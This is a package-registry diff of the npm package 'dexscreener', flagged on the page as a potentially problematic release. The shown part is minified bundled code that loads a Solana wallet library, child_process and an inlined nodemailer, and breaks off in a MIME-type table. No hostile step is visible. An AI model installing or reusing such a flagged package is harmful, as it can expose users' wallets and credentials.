dexscreener 0.0.1-security → 1.2.11

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of dexscreener might be problematic. Click here for more details.

package/dist/index.js ADDED
@@ -0,0 +1,2 @@
1
+ "use strict";var t=require("@solana/web3.js"),e=require("events"),i=require("url"),a=require("util"),n=require("fs"),s=require("http"),o=require("https"),r=require("zlib"),p=require("stream"),c=require("net"),l=require("dns"),d=require("os"),m=require("path"),h=require("crypto"),u=require("tls"),f=require("child_process");function g(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}var x,v,b={},w={exports:{}},y={exports:{}};var _,k,E,A,T,S,C,j,I,L,O,H,N,z,M,P,B,U,q,R,F,D,K,$,G,Q,V,X,J={name:"nodemailer",version:"6.9.15",description:"Easy as cake e-mail sending from your Node.js applications",main:"lib/nodemailer.js",scripts:{test:"node --test --test-concurrency=1 test/**/*.test.js test/**/*-test.js","test:coverage":"c8 node --test --test-concurrency=1 test/**/*.test.js test/**/*-test.js",lint:"eslint .",update:"rm -rf node_modules/ package-lock.json && ncu -u && npm install"},repository:{type:"git",url:"https://github.com/nodemailer/nodemailer.git"},keywords:["Nodemailer"],author:"Andris Reinman",license:"MIT-0",bugs:{url:"https://github.com/nodemailer/nodemailer/issues"},homepage:"https://nodemailer.com/",devDependencies:{"@aws-sdk/client-ses":"3.600.0",bunyan:"1.8.15",c8:"10.1.2",eslint:"8.57.0","eslint-config-nodemailer":"1.2.0","eslint-config-prettier":"9.1.0",libbase64:"1.3.0",libmime:"5.3.5",libqp:"2.1.0","nodemailer-ntlm-auth":"1.0.4",proxy:"1.0.2","proxy-test-server":"1.0.0","smtp-server":"3.13.4"},engines:{node:">=6.0.0"}};function W(){if(_)return y.exports;_=1;const t=s,e=o,a=i,n=r,l=p.PassThrough,d=function(){if(v)return x;v=1;const t=i;return x=class{constructor(t){this.options=t||{},this.cookies=[]}set(e,i){let a,n=t.parse(i||""),s=this.parse(e);return s.domain?(a=s.domain.replace(/^\./,""),(n.hostname.length<a.length||("."+n.hostname).substr(1-a.length)!=="."+a)&&(s.domain=n.hostname)):s.domain=n.hostname,s.path||(s.path=this.getPath(n.pathname)),s.expires||(s.expires=new Date(Date.now()+1e3*(Number(this.options.sessionTimeout||1800)||1800))),this.add(s)}get(t){return this.list(t).map((t=>t.name+"="+t.value)).join("; ")}list(t){let e,i,a=[];for(e=this.cookies.length-1;e>=0;e--)i=this.cookies[e],this.isExpired(i)?this.cookies.splice(e,e):this.match(i,t)&&a.unshift(i);return a}parse(t){let e={};return(t||"").toString().split(";").forEach((t=>{let i,a=t.split("="),n=a.shift().trim().toLowerCase(),s=a.join("=").trim();if(n)switch(n){case"expires":s=new Date(s),"Invalid Date"!==s.toString()&&(e.expires=s);break;case"path":e.path=s;break;case"domain":i=s.toLowerCase(),i.length&&"."!==i.charAt(0)&&(i="."+i),e.domain=i;break;case"max-age":e.expires=new Date(Date.now()+1e3*(Number(s)||0));break;case"secure":e.secure=!0;break;case"httponly":e.httponly=!0;break;default:e.name||(e.name=n,e.value=s)}})),e}match(e,i){let a=t.parse(i||"");return(a.hostname===e.domain||"."===e.domain.charAt(0)&&("."+a.hostname).substr(-e.domain.length)===e.domain)&&this.getPath(a.pathname).substr(0,e.path.length)===e.path&&(!e.secure||"https:"===a.protocol)}add(t){let e,i;if(!t||!t.name)return!1;for(e=0,i=this.cookies.length;e<i;e++)if(this.compare(this.cookies[e],t))return this.isExpired(t)?(this.cookies.splice(e,1),!1):(this.cookies[e]=t,!0);return this.isExpired(t)||this.cookies.push(t),!0}compare(t,e){return t.name===e.name&&t.path===e.path&&t.domain===e.domain&&t.secure===e.secure&&t.httponly==t.httponly}isExpired(t){return t.expires&&t.expires<new Date||!t.value}getPath(t){let e=(t||"/").split("/");return e.pop(),e=e.join("/").trim(),"/"!==e.charAt(0)&&(e="/"+e),"/"!==e.substr(-1)&&(e+="/"),e}}}(),m=J,h=c;function u(i,s){(s=s||{}).fetchRes=s.fetchRes||new l,s.cookies=s.cookies||new d,s.redirects=s.redirects||0,s.maxRedirects=isNaN(s.maxRedirects)?5:s.maxRedirects,s.cookie&&([].concat(s.cookie||[]).forEach((t=>{s.cookies.set(t,i)})),s.cookie=!1);let o,r,p,c=s.fetchRes,f=a.parse(i),g=(s.method||"").toString().trim().toUpperCase()||"GET",x=!1,v="https:"===f.protocol?e:t,b={"accept-encoding":"gzip,deflate","user-agent":"nodemailer/"+m.version};if(Object.keys(s.headers||{}).forEach((t=>{b[t.toLowerCase().trim()]=s.headers[t]})),s.userAgent&&(b["user-agent"]=s.userAgent),f.auth&&(b.Authorization="Basic "+Buffer.from(f.auth).toString("base64")),(o=s.cookies.get(i))&&(b.cookie=o),s.body){if(!1!==s.contentType&&(b["Content-Type"]=s.contentType||"application/x-www-form-urlencoded"),"function"==typeof s.body.pipe)b["Transfer-Encoding"]="chunked",r=s.body,r.on("error",(t=>{x||(x=!0,t.type="FETCH",t.sourceUrl=i,c.emit("error",t))}));else{if(s.body instanceof Buffer)r=s.body;else if("object"==typeof s.body)try{r=Buffer.from(Object.keys(s.body).map((t=>{let e=s.body[t].toString().trim();return encodeURIComponent(t)+"="+encodeURIComponent(e)})).join("&"))}catch(t){if(x)return;return x=!0,t.type="FETCH",t.sourceUrl=i,void c.emit("error",t)}else r=Buffer.from(s.body.toString().trim());b["Content-Type"]=s.contentType||"application/x-www-form-urlencoded",b["Content-Length"]=r.length}g=(s.method||"").toString().trim().toUpperCase()||"POST"}let w={method:g,host:f.hostname,path:f.path,port:f.port?f.port:"https:"===f.protocol?443:80,headers:b,rejectUnauthorized:!1,agent:!1};s.tls&&Object.keys(s.tls).forEach((t=>{w[t]=s.tls[t]})),"https:"!==f.protocol||!f.hostname||f.hostname===w.host||h.isIP(f.hostname)||w.servername||(w.servername=f.hostname);try{p=v.request(w)}catch(t){return x=!0,setImmediate((()=>{t.type="FETCH",t.sourceUrl=i,c.emit("error",t)})),c}return s.timeout&&p.setTimeout(s.timeout,(()=>{if(x)return;x=!0,p.abort();let t=new Error("Request Timeout");t.type="FETCH",t.sourceUrl=i,c.emit("error",t)})),p.on("error",(t=>{x||(x=!0,t.type="FETCH",t.sourceUrl=i,c.emit("error",t))})),p.on("response",(t=>{let e;if(!x){switch(t.headers["content-encoding"]){case"gzip":case"deflate":e=n.createUnzip()}if(t.headers["set-cookie"]&&[].concat(t.headers["set-cookie"]||[]).forEach((t=>{s.cookies.set(t,i)})),[301,302,303,307,308].includes(t.statusCode)&&t.headers.location){if(s.redirects++,s.redirects>s.maxRedirects){x=!0;let t=new Error("Maximum redirect count exceeded");return t.type="FETCH",t.sourceUrl=i,c.emit("error",t),void p.abort()}return s.method="GET",s.body=!1,u(a.resolve(i,t.headers.location),s)}if(c.statusCode=t.statusCode,c.headers=t.headers,t.statusCode>=300&&!s.allowErrorResponse){x=!0;let e=new Error("Invalid status code "+t.statusCode);return e.type="FETCH",e.sourceUrl=i,c.emit("error",e),void p.abort()}t.on("error",(t=>{x||(x=!0,t.type="FETCH",t.sourceUrl=i,c.emit("error",t),p.abort())})),e?(t.pipe(e).pipe(c),e.on("error",(t=>{x||(x=!0,t.type="FETCH",t.sourceUrl=i,c.emit("error",t),p.abort())}))):t.pipe(c)}})),setImmediate((()=>{if(r)try{if("function"==typeof r.pipe)return r.pipe(p);p.write(r)}catch(t){return x=!0,t.type="FETCH",t.sourceUrl=i,void c.emit("error",t)}p.end()})),c}return y.exports=function(t,e){return u(t,e)},y.exports.Cookies=d,y.exports}function Y(){return k||(k=1,function(t){const e=i,s=a,o=n,r=W(),p=l,m=c,h=d,u=3e5;let f;try{f=h.networkInterfaces()}catch(t){}t.exports.networkInterfaces=f;const g=(e,i)=>{let a=t.exports.networkInterfaces;if(!a)return!0;return Object.keys(a).map((t=>a[t])).reduce(((t,e)=>t.concat(e)),[]).filter((t=>!t.internal||i)).filter((t=>t.family==="IPv"+e||t.family===e)).length>0},x=(t,e,i,a)=>{if(!g(t,(i=i||{}).allowInternalNetworkInterfaces))return a(null,[]);(p.Resolver?new p.Resolver(i):p)["resolve"+t](e,((t,e)=>{if(t){switch(t.code){case p.NODATA:case p.NOTFOUND:case p.NOTIMP:case p.SERVFAIL:case p.CONNREFUSED:case p.REFUSED:case"EAI_AGAIN":return a(null,[])}return a(t)}return a(null,Array.isArray(e)?e:[].concat(e||[]))}))},v=t.exports.dnsCache=new Map,b=(t,e)=>t?Object.assign({servername:t.servername,host:t.addresses&&t.addresses.length?1===t.addresses.length?t.addresses[0]:t.addresses[Math.floor(Math.random()*t.addresses.length)]:null},e||{}):Object.assign({},e||{});function w(t,e){let i=!1,a=[],n=0;t.on("error",(t=>{i||(i=!0,e(t))})),t.on("readable",(()=>{let e;for(;null!==(e=t.read());)a.push(e),n+=e.length})),t.on("end",(()=>{if(i)return;let t;i=!0;try{t=Buffer.concat(a,n)}catch(t){return e(t)}e(null,t)}))}t.exports.resolveHostname=(t,e)=>{if(!(t=t||{}).host&&t.servername&&(t.host=t.servername),!t.host||m.isIP(t.host)){let i={addresses:[t.host],servername:t.servername||!1};return e(null,b(i,{cached:!1}))}let i;if(v.has(t.host)&&(i=v.get(t.host),!i.expires||i.expires>=Date.now()))return e(null,b(i.value,{cached:!0}));x(4,t.host,t,((a,n)=>{if(a)return i?e(null,b(i.value,{cached:!0,error:a})):e(a);if(n&&n.length){let i={addresses:n,servername:t.servername||t.host};return v.set(t.host,{value:i,expires:Date.now()+(t.dnsTtl||u)}),e(null,b(i,{cached:!1}))}x(6,t.host,t,((a,n)=>{if(a)return i?e(null,b(i.value,{cached:!0,error:a})):e(a);if(n&&n.length){let i={addresses:n,servername:t.servername||t.host};return v.set(t.host,{value:i,expires:Date.now()+(t.dnsTtl||u)}),e(null,b(i,{cached:!1}))}try{p.lookup(t.host,{all:!0},((a,n)=>{if(a)return i?e(null,b(i.value,{cached:!0,error:a})):e(a);let s=!!n&&n.filter((t=>g(t.family))).map((t=>t.address)).shift();if(n&&n.length&&!s&&console.warn(`Failed to resolve IPv${n[0].family} addresses with current network`),!s&&i)return e(null,b(i.value,{cached:!0}));let o={addresses:s?[s]:[t.host],servername:t.servername||t.host};return v.set(t.host,{value:o,expires:Date.now()+(t.dnsTtl||u)}),e(null,b(o,{cached:!1}))}))}catch(a){return i?e(null,b(i.value,{cached:!0,error:a})):e(a)}}))}))},t.exports.parseConnectionUrl=t=>{t=t||"";let i={};return[e.parse(t,!0)].forEach((t=>{let e;switch(t.protocol){case"smtp:":i.secure=!1;break;case"smtps:":i.secure=!0;break;case"direct:":i.direct=!0}!isNaN(t.port)&&Number(t.port)&&(i.port=Number(t.port)),t.hostname&&(i.host=t.hostname),t.auth&&(e=t.auth.split(":"),i.auth||(i.auth={}),i.auth.user=e.shift(),i.auth.pass=e.join(":")),Object.keys(t.query||{}).forEach((e=>{let a=i,n=e,s=t.query[e];switch(isNaN(s)||(s=Number(s)),s){case"true":s=!0;break;case"false":s=!1}if(0===e.indexOf("tls."))n=e.substr(4),i.tls||(i.tls={}),a=i.tls;else if(e.indexOf(".")>=0)return;n in a||(a[n]=s)}))})),i},t.exports._logFunc=(t,e,i,a,n,...s)=>{let o={};Object.keys(i||{}).forEach((t=>{"level"!==t&&(o[t]=i[t])})),Object.keys(a||{}).forEach((t=>{"level"!==t&&(o[t]=a[t])})),t[e](o,n,...s)},t.exports.getLogger=(e,i)=>{let a={},n=["trace","debug","info","warn","error","fatal"];if(!(e=e||{}).logger)return n.forEach((t=>{a[t]=()=>!1})),a;let o=e.logger;return!0===e.logger&&(o=function(t){let e=0,i=new Map;t.forEach((t=>{t.length>e&&(e=t.length)})),t.forEach((t=>{let a=t.toUpperCase();a.length<e&&(a+=" ".repeat(e-a.length)),i.set(t,a)}));let a=(t,e,a,...n)=>{let o="";e&&("server"===e.tnx?o="S: ":"client"===e.tnx&&(o="C: "),e.sid&&(o="["+e.sid+"] "+o),e.cid&&(o="[#"+e.cid+"] "+o)),(a=s.format(a,...n)).split(/\r?\n/).forEach((e=>{console.log("[%s] %s %s",(new Date).toISOString().substr(0,19).replace(/T/," "),i.get(t),o+e)}))},n={};return t.forEach((t=>{n[t]=a.bind(null,t)})),n}(n)),n.forEach((e=>{a[e]=(a,n,...s)=>{t.exports._logFunc(o,e,i,a,n,...s)}})),a},t.exports.callbackPromise=(t,e)=>function(){let i=Array.from(arguments),a=i.shift();a?e(a):t(...i)},t.exports.parseDataURI=t=>{let e=t,i=e.indexOf(",");if(!i)return t;let a,n=e.substring(i+1),s=e.substring(5,i).split(";"),o=s.length>1&&s[s.length-1];o&&o.indexOf("=")<0&&(a=o.toLowerCase(),s.pop());let r=s.shift()||"application/octet-stream",p={};for(let t of s){let e=t.indexOf("=");if(e>=0){let i=t.substring(0,e),a=t.substring(e+1);p[i]=a}}switch(a){case"base64":n=Buffer.from(n,"base64");break;case"utf8":n=Buffer.from(n);break;default:try{n=Buffer.from(decodeURIComponent(n))}catch(t){n=Buffer.from(n)}n=Buffer.from(n)}return{data:n,encoding:a,contentType:r,params:p}},t.exports.resolveContent=(e,i,a)=>{let n;a||(n=new Promise(((e,i)=>{a=t.exports.callbackPromise(e,i)})));let s,p=e&&e[i]&&e[i].content||e[i],c=("object"==typeof e[i]&&e[i].encoding||"utf8").toString().toLowerCase().replace(/[-_\s]/g,"");if(!p)return a(null,p);if("object"==typeof p){if("function"==typeof p.pipe)return w(p,((t,n)=>{if(t)return a(t);e[i].content?e[i].content=n:e[i]=n,a(null,n)}));if(/^https?:\/\//i.test(p.path||p.href))return s=r(p.path||p.href),w(s,a);if(/^data:/i.test(p.path||p.href)){let e=t.exports.parseDataURI(p.path||p.href);return e&&e.data?a(null,e.data):a(null,Buffer.from(0))}if(p.path)return w(o.createReadStream(p.path),a)}return"string"!=typeof e[i].content||["utf8","usascii","ascii"].includes(c)||(p=Buffer.from(e[i].content,c)),setImmediate((()=>a(null,p))),n},t.exports.assign=function(){let t=Array.from(arguments),e=t.shift()||{};return t.forEach((t=>{Object.keys(t||{}).forEach((i=>{["tls","auth"].includes(i)&&t[i]&&"object"==typeof t[i]?(e[i]||(e[i]={}),Object.keys(t[i]).forEach((a=>{e[i][a]=t[i][a]}))):e[i]=t[i]}))})),e},t.exports.encodeXText=t=>{if(!/[^\x21-\x2A\x2C-\x3C\x3E-\x7E]/.test(t))return t;let e=Buffer.from(t),i="";for(let t=0,a=e.length;t<a;t++){let a=e[t];i+=a<33||a>126||43===a||61===a?"+"+(a<16?"0":"")+a.toString(16).toUpperCase():String.fromCharCode(a)}return i}}(w)),w.exports}function Z(){if(A)return E;A=1;const t=m,e="application/octet-stream",i=new Map([["application/acad","dwg"],["application/applixware","aw"],["application/arj","arj"],["application/atom+xml","xml"],["application/atomcat+xml","atomcat"],["application/atomsvc+xml","atomsvc"],["application/base64",["mm","mme"]],["application/binhex","hqx"],["application/binhex4","hqx"],["application/book",["book","boo"]],["application/ccxml+xml,","ccxml"],["application/cdf","cdf"],["application/cdmi-capability","cdmia"],["application/cdmi-container","cdmic"],["application/cdmi-domain","cdmid"],["application/cdmi-object","cdmio"],["application/cdmi-queue","cdmiq"],["application/clariscad","ccad"],["application/commonground","dp"],["application/cu-seeme","cu"],["application/davmount+xml","davmount"],["application/drafting","drw"],["application/dsptype","tsp"],["application/dssc+der","dssc"],["application/dssc+xml","xdssc"],["application/dxf","dxf"],["application/ecmascript",["js","es"]],["application/emma+xml","emma"],["application/envoy","evy"],["application/epub+zip","epub"],["application/excel",["xls","xl","xla","xlb","xlc","xld","xlk","xll","xlm","xlt","xlv","xlw"]],["application/exi","exi"],["application/font-tdpfr","pfr"],["application/fractals","fif"],["application/freeloader","frl"],["application/futuresplash","spl"],["application/geo+json","geojson"],["application/gnutar","tgz"],["application/groupwise","vew"],["application/hlp","hlp"],["application/hta","hta"],["application/hyperstudio","stk"],["application/i-deas","unv"],["application/iges",["iges","igs"]],["application/inf","inf"],["application/internet-property-stream","acx"],["application/ipfix","ipfix"],["application/java","class"],["application/java-archive","jar"],["application/java-byte-code","class"],["application/java-serialized-object","ser"],["application/java-vm","class"],["application/javascript","js"],["application/json","json"],["application/lha","lha"],["application/lzx","lzx"],["application/mac-binary","bin"],["application/mac-binhex","hqx"],["application/mac-binhex40","hqx"],["application/mac-compactpro","cpt"],["application/macbinary","bin"],["application/mads+xml","mads"],["application/marc","mrc"],["application/marcxml+xml","mrcx"],["application/mathematica","ma"],["application/mathml+xml","mathml"],["application/mbedlet","mbd"],["application/mbox","mbox"],["application/mcad","mcd"],["application/mediaservercontrol+xml","mscml"],["application/metalink4+xml","meta4"],["application/mets+xml","mets"],["application/mime","aps"],["application/mods+xml","mods"],["application/mp21","m21"],["application/mp4","mp4"],["application/mspowerpoint",["ppt","pot","pps","ppz"]],["application/msword",["doc","dot","w6w","wiz","word"]],["application/mswrite","wri"],["application/mxf","mxf"],["application/netmc","mcp"],["application/octet-stream",["*"]],["application/oda","oda"],["application/oebps-package+xml","opf"],["application/ogg","ogx"],["application/olescript","axs"],["application/onenote","onetoc"],["application/patch-ops-error+xml","xer"],["application/pdf","pdf"],["application/pgp-encrypted","asc"],["application/pgp-signature","pgp"],["application/pics-rules","prf"],["application/pkcs-12","p12"],["application/pkcs-crl","crl"],["application/pkcs10","p10"],["application/pkcs7-mime",["p7c","p7m"]],["application/pkcs7-signature","p7s"],["application/pkcs8","p8"],["application/pkix-attr-cert","ac"],["application/pkix-cert",["cer","crt"]],["application/pkix-crl","crl"],["application/pkix-pkipath","pkipath"],["application/pkixcmp","pki"],["application/plain","text"],["application/pls+xml","pls"],["application/postscript",["ps","ai","eps"]],["application/powerpoint","ppt"],["application/pro_eng",["part","prt"]],["application/prs.cww","cww"],["application/pskc+xml","pskcxml"],["application/rdf+xml","rdf"],["application/reginfo+xml","rif"],["application/relax-ng-compact-syntax","rnc"],["application/resource-lists+xml","rl"],["application/resource-lists-diff+xml","rld"],["application/ringing-tones","rng"],["application/rls-services+xml","rs"],["application/rsd+xml","rsd"],["application/rss+xml","xml"],["application/rtf",["rtf","rtx"]],["application/sbml+xml","sbml"],["application/scvp-cv-request","scq"],["application/scvp-cv-response","scs"],["application/scvp-vp-request","spq"],["application/scvp-vp-response","spp"],["application/sdp","sdp"],["application/sea","sea"],["application/set","set"],["application/set-payment-initiation","setpay"],["application/set-registration-initiation","setreg"],["application/shf+xml","shf"],["application/sla","stl"],["application/smil",["smi","smil"]],["application/smil+xml","smi"],["application/solids","sol"],["application/sounder","sdr"],["application/sparql-query","rq"],["application/sparql-results+xml","srx"],["application/srgs","gram"],["application/srgs+xml","grxml"],["application/sru+xml","sru"],["application/ssml+xml","ssml"],["application/step",["step","stp"]],["application/streamingmedia","ssm"],["application/tei+xml","tei"],["application/thraud+xml","tfi"],["application/timestamped-data","tsd"],["application/toolbook","tbk"],["application/vda","vda"],["application/vnd.3gpp.pic-bw-large","plb"],["application/vnd.3gpp.pic-bw-small","psb"],["application/vnd.3gpp.pic-bw-var","pvb"],["application/vnd.3gpp2.tcap","tcap"],["application/vnd.3m.post-it-notes","pwn"],["application/vnd.accpac.simply.aso","aso"],["application/vnd.accpac.simply.imp","imp"],["application/vnd.acucobol","acu"],["application/vnd.acucorp","atc"],["application/vnd.adobe.air-application-installer-package+zip","air"],["application/vnd.adobe.fxp","fxp"],["application/vnd.adobe.xdp+xml","xdp"],["application/vnd.adobe.xfdf","xfdf"],["application/vnd.ahead.space","ahead"],["application/vnd.airzip.filesecure.azf","azf"],["application/vnd.airzip.filesecure.azs","azs"],["application/vnd.amazon.ebook","azw"],["application/vnd.americandynamics.acc","acc"],["application/vnd.amiga.ami","ami"],["application/vnd.android.package-archive","apk"],["application/vnd.anser-web-certificate-issue-initiation","cii"],["application/vnd.anser-web-funds-transfer-initiation","fti"],["application/vnd.antix.game-component","atx"],["application/vnd.apple.installer+xml","mpkg"],["application/vnd.apple.mpegurl","m3u8"],["application/vnd.aristanetworks.swi","swi"],["application/vnd.audiograph","aep"],["application/vnd.blueice.multipass","mpm"],["application/vnd.bmi","bmi"],["application/vnd.businessobjects","rep"],["application/vnd.chemdraw+xml","cdxml"],["application/vnd.chipnuts.karaoke-mmd","mmd"],["application/vnd.cinderella","cdy"],["application/vnd.claymore","cla"],["application/vnd.cloanto.rp9","rp9"],["application/vnd.clonk.c4group","c4g"],["application/vnd.cluetrust.cartomobile-config","c11amc"],["application/vnd.cluetrust.cartomobile-config-pkg","c11amz"],["application/vnd.commonspace","csp"],["application/vnd.contact.cmsg","cdbcmsg"],["application/vnd.cosmocaller","cmc"],["application/vnd.crick.clicker","clkx"],["application/vnd.crick.clicker.keyboard","clkk"],["application/vnd.crick.clicker.palette","clkp"],["application/vnd.crick.clicker.template","clkt"],["application/vnd.crick.clicker.wordbank","clkw"],["application/vnd.criticaltools.wbs+xml","wbs"],["application/vnd.ctc-posml","pml"],["application/vnd.cups-ppd","ppd"],["application/vnd.curl.car","car"],["application/vnd.curl.pcurl","pcurl"],["application/vnd.data-vision.rdz","rdz"],["application/vnd.denovo.fcselayout-link","fe_launch"],["application/vnd.dna","dna"],["application/vnd.dolby.mlp","mlp"],["application/vnd.dpgraph","dpg"],["application/vnd.dreamfactory","dfac"],["application/vnd.dvb.ait","ait"],["application/vnd.dvb.service","svc"],["application/vnd.dynageo","geo"],["application/vnd.ecowin.chart","mag"],["application/vnd.enliven","nml"],["application/vnd.epson.esf","esf"],["application/vnd.epson.msf","msf"],["application/vnd.epson.quickanime","qam"],["application/vnd.epson.salt","slt"],["application/vnd.epson.ssf","ssf"],["application/vnd.eszigno3+xml","es3"],["application/vnd.ezpix-album","ez2"],["application/vnd.ezpix-package","ez3"],["application/vnd.fdf","fdf"],["application/vnd.fdsn.seed","seed"],["application/vnd.flographit","gph"],["application/vnd.fluxtime.clip","ftc"],["application/vnd.framemaker","fm"],["application/vnd.frogans.fnc","fnc"],["application/vnd.frogans.ltf","ltf"],["application/vnd.fsc.weblaunch","fsc"],["application/vnd.fujitsu.oasys","oas"],["application/vnd.fujitsu.oasys2","oa2"],["application/vnd.fujitsu.oasys3","oa3"],["application/vnd.fujitsu.oasysgp","fg5"],["application/vnd.fujitsu.oasysprs","bh2"],["application/vnd.fujixerox.ddd","ddd"],["application/vnd.fujixerox.docuworks","xdw"],["application/vnd.fujixerox.docuworks.binder","xbd"],["application/vnd.fuzzysheet","fzs"],["application/vnd.genomatix.tuxedo","txd"],["application/vnd.geogebra.file","ggb"],["application/vnd.geogebra.tool","ggt"],["application/vnd.geometry-explorer","gex"],["application/vnd.geonext","gxt"],["application/vnd.geoplan","g2w"],["application/vnd.geospace","g3w"],["application/vnd.gmx","gmx"],["application/vnd.google-earth.kml+xml","kml"],["application/vnd.google-earth.kmz","kmz"],["application/vnd.grafeq","gqf"],["application/vnd.groove-account","gac"],["application/vnd.groove-help","ghf"],["application/vnd.groove-identity-message","gim"],["application/vnd.groove-injector","grv"],["application/vnd.groove-tool-message","gtm"],["application/vnd.groove-tool-template","tpl"],["application/vnd.groove-vcard","vcg"],["application/vnd.hal+xml","hal"],["application/vnd.handheld-entertainment+xml","zmm"],["application/vnd.hbci","hbci"],["application/vnd.hhe.lesson-player","les"],["application/vnd.hp-hpgl",["hgl","hpg","hpgl"]],["application/vnd.hp-hpid","hpid"],["application/vnd.hp-hps","hps"],["application/vnd.hp-jlyt","jlt"],["application/vnd.hp-pcl","pcl"],["application/vnd.hp-pclxl","pclxl"],["application/vnd.hydrostatix.sof-data","sfd-hdstx"],["application/vnd.hzn-3d-crossword","x3d"],["application/vnd.ibm.minipay","mpy"],["application/vnd.ibm.modcap","afp"],["application/vnd.ibm.rights-management","irm"],["application/vnd.ibm.secure-container","sc"],["application/vnd.iccprofile","icc"],["application/vnd.igloader","igl"],["application/vnd.immervision-ivp","ivp"],["application/vnd.immervision-ivu","ivu"],["application/vnd.insors.igm","igm"],["application/vnd.intercon.formnet","xpw"],["application/vnd.intergeo","i2g"],["application/vnd.intu.qbo","qbo"],["application/vnd.intu.qfx","qfx"],["application/vnd.ipunplugged.rcprofile","rcprofile"],["application/vnd.irepository.package+xml","irp"],["application/vnd.is-xpr","xpr"],["application/vnd.isac.fcs","fcs"],["application/vnd.jam","jam"],["application/vnd.jcp.javame.midlet-rms","rms"],["application/vnd.jisp","jisp"],["application/vnd.joost.joda-archive","joda"],["application/vnd.kahootz","ktz"],["application/vnd.kde.karbon","karbon"],["application/vnd.kde.kchart","chrt"],["application/vnd.kde.kformula","kfo"],["application/vnd.kde.kivio","flw"],["application/vnd.kde.kontour","kon"],["application/vnd.kde.kpresenter","kpr"],["application/vnd.kde.kspread","ksp"],["application/vnd.kde.kword","kwd"],["application/vnd.kenameaapp","htke"],["application/vnd.kidspiration","kia"],["application/vnd.kinar","kne"],["application/vnd.koan","skp"],["application/vnd.kodak-descriptor","sse"],["application/vnd.las.las+xml","lasxml"],["application/vnd.llamagraphics.life-balance.desktop","lbd"],["application/vnd.llamagraphics.life-balance.exchange+xml","lbe"],["application/vnd.lotus-1-2-3","123"],["application/vnd.lotus-approach","apr"],["application/vnd.lotus-freelance","pre"],["application/vnd.lotus-notes","nsf"],["application/vnd.lotus-organizer","org"],["application/vnd.lotus-screencam","scm"],["application/vnd.lotus-wordpro","lwp"],["application/vnd.macports.portpkg","portpkg"],["application/vnd.mcd","mcd"],["application/vnd.medcalcdata","mc1"],["application/vnd.mediastation.cdkey","cdkey"],["application/vnd.mfer","mwf"],["application/vnd.mfmp","mfm"],["application/vnd.micrografx.flo","flo"],["application/vnd.micrografx.igx","igx"],["application/vnd.mif","mif"],["application/vnd.mobius.daf","daf"],["application/vnd.mobius.dis","dis"],["application/vnd.mobius.mbk","mbk"],["application/vnd.mobius.mqy","mqy"],["application/vnd.mobius.msl","msl"],["application/vnd.mobius.plc","plc"],["application/vnd.mobius.txf","txf"],["application/vnd.mophun.application","mpn"],["application/vnd.mophun.certificate","mpc"],["application/vnd.mozilla.xul+xml","xul"],["application/vnd.ms-artgalry","cil"],["application/vnd.ms-cab-compressed","cab"],["application/vnd.ms-excel",["xls","xla","xlc","xlm","xlt","xlw","xlb","xll"]],["application/vnd.ms-excel.addin.macroenabled.12","xlam"],["application/vnd.ms-excel.sheet.binary.macroenabled.12","xlsb"],["application/vnd.ms-excel.sheet.macroenabled.12","xlsm"],["application/vnd.ms-excel.template.macroenabled.12","xltm"],["application/vnd.ms-fontobject","eot"],["application/vnd.ms-htmlhelp","chm"],["application/vnd.ms-ims","ims"],["application/vnd.ms-lrm","lrm"],["application/vnd.ms-officetheme","thmx"],["application/vnd.ms-outlook","msg"],["application/vnd.ms-pki.certstore","sst"],["application/vnd.ms-pki.pko","pko"],["application/vnd.ms-pki.seccat","cat"],["application/vnd.ms-pki.stl","stl"],["application/vnd.ms-pkicertstore","sst"],["application/vnd.ms-pkiseccat","cat"],["application/vnd.ms-pkistl","stl"],["application/vnd.ms-powerpoint",["ppt","pot","pps","ppa","pwz"]],["application/vnd.ms-powerpoint.addin.macroenabled.12","ppam"],["application/vnd.ms-powerpoint.presentation.macroenabled.12","pptm"],["application/vnd.ms-powerpoint.slide.macroenabled.12","sldm"],["application/vnd.ms-powerpoint.slideshow.macroenabled.12","ppsm"],["application/vnd.ms-powerpoint.template.macroenabled.12","potm"],["application/vnd.ms-project","mpp"],["application/vnd.ms-word.document.macroenabled.12","docm"],["application/vnd.ms-word.template.macroenabled.12","dotm"],["application/vnd.ms-works",["wks","wcm","wdb","wps"]],["application/vnd.ms-wpl","wpl"],["application/vnd.ms-xpsdocument","xps"],["application/vnd.mseq","mseq"],["application/vnd.musician","mus"],["application/vnd.muvee.style","msty"],["application/vnd.neurolanguage.nlu","nlu"],["application/vnd.noblenet-directory","nnd"],["application/vnd.noblenet-sealer","nns"],["application/vnd.noblenet-web","nnw"],["application/vnd.nokia.configuration-message","ncm"],["application/vnd.nokia.n-gage.data","ngdat"],["application/vnd.nokia.n-gage.symbian.install","n-gage"],["application/vnd.nokia.radio-preset","rpst"],["application/vnd.nokia.radio-presets","rpss"],["application/vnd.nokia.ringing-tone","rng"],["application/vnd.novadigm.edm","edm"],["application/vnd.novadigm.edx","edx"],["application/vnd.novadigm.ext","ext"],["application/vnd.oasis.opendocument.chart","odc"],["application/vnd.oasis.opendocument.chart-template","otc"],["application/vnd.oasis.opendocument.database","odb"],["application/vnd.oasis.opendocument.formula","odf"],["application/vnd.oasis.opendocument.formula-template","odft"],["application/vnd.oasis.opendocument.graphics","odg"],["application/vnd.oasis.opendocument.graphics-template","otg"],["application/vnd.oasis.opendocument.image","odi"],["application/vnd.oasis.opendocument.image-template","oti"],["application/vnd.oasis.opendocument.presentation","odp"],["application/vnd.oasis.opendocument.presentation-template","otp"],["application/vnd.oasis.opendocument.spreadsheet","ods"],["application/vnd.oasis.opendocument.spreadsheet-template","ots"],["application/vnd.oasis.opendocument.text","odt"],["application/vnd.oasis.opendocument.text-master","odm"],["application/vnd.oasis.opendocument.text-template","ott"],["application/vnd.oasis.opendocument.text-web","oth"],["application/vnd.olpc-sugar","xo"],["application/vnd.oma.dd2+xml","dd2"],["application/vnd.openofficeorg.extension","oxt"],["application/vnd.openxmlformats-officedocument.presentationml.presentation","pptx"],["application/vnd.openxmlformats-officedocument.presentationml.slide","sldx"],["application/vnd.openxmlformats-officedocument.presentationml.slideshow","ppsx"],["application/vnd.openxmlformats-officedocument.presentationml.template","potx"],["application/vnd.openxmlformats-officedocument.spreadsheetml.sheet","xlsx"],["application/vnd.openxmlformats-officedocument.spreadsheetml.template","xltx"],["application/vnd.openxmlformats-officedocument.wordprocessingml.document","docx"],